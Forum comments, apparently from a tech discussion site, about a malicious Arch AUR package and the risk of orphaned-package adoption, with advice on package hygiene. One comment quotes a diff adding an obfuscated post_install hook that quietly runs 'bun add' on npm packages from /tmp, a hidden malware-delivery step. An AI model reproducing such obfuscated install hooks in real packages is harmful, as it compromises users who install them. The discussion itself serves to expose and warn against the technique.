This doesn't necessarily seem 'more elaborate': it is attempting to be better obfuscated against automated checks at the cost of being very obvious to anyone doing even a cursory review of the install scripts. It's also likely something that would be caught instantly by even an extremely naive LLM, as seems to have been the case here. There's simply no legitimate reason why an install script would ever do something like this:
diff --git a/htbrowser-bin-deps.install b/htbrowser-bin-deps.install
new file mode 100644
index 000000000000..9806501accad
--- /dev/null
+++ b/htbrowser-bin-deps.install
@@ -0,0 +1,3 @@
+post_install() {
+ $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' $'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73' 'n'"e"'x'"t""f"'i''l''e''-''j''s'
+}
[1]: https://aur.archlinux.org/cgit/aur.git/commit/?h=htbrowser-b...Unfortunately, I don't see a way of viewing the ownership history of a package in the AUR. I know you get emails with ownership changes if you're subscribed to a package, but I don't see this info in the web interface anywhere.
Yes. This has happened before, a few times, before LLMs were even a thing. Via the same mechanism as well (someone else adopting an orphaned package). The big one I'm remembering was in 2018.
Outside of that mechanism though, anyone who uses the AUR regularly knowingly accepts this kind of risk. It's why I'm not a huge fan of distros (like Cachy, Endevaor, etc) that take Arch and package it up in a one-click easy installer with preinstalled AUR helpers. Cachy even uses the chaotic AUR too (auto build service for AUR packages to serve binaries). I like CachyOS, but good lord don't put in Yay + the AUR by default.
The ability for any registered user to just adopt an existing orphaned package is a problem (these attacks will always exist, but least force a fork & resubmission under a different name), and so is the use of automated AUR helpers that don't show PKGBUILD diffs.
The hygiene required to use the AUR is no different than the hygiene required to use pip, npm, cargo, etc. Anyone just blindly trusting user submitted packages and code from the internet is not operating with security in mind.
Adopt a policy of zero trust from any arbitrary code you download from the internet.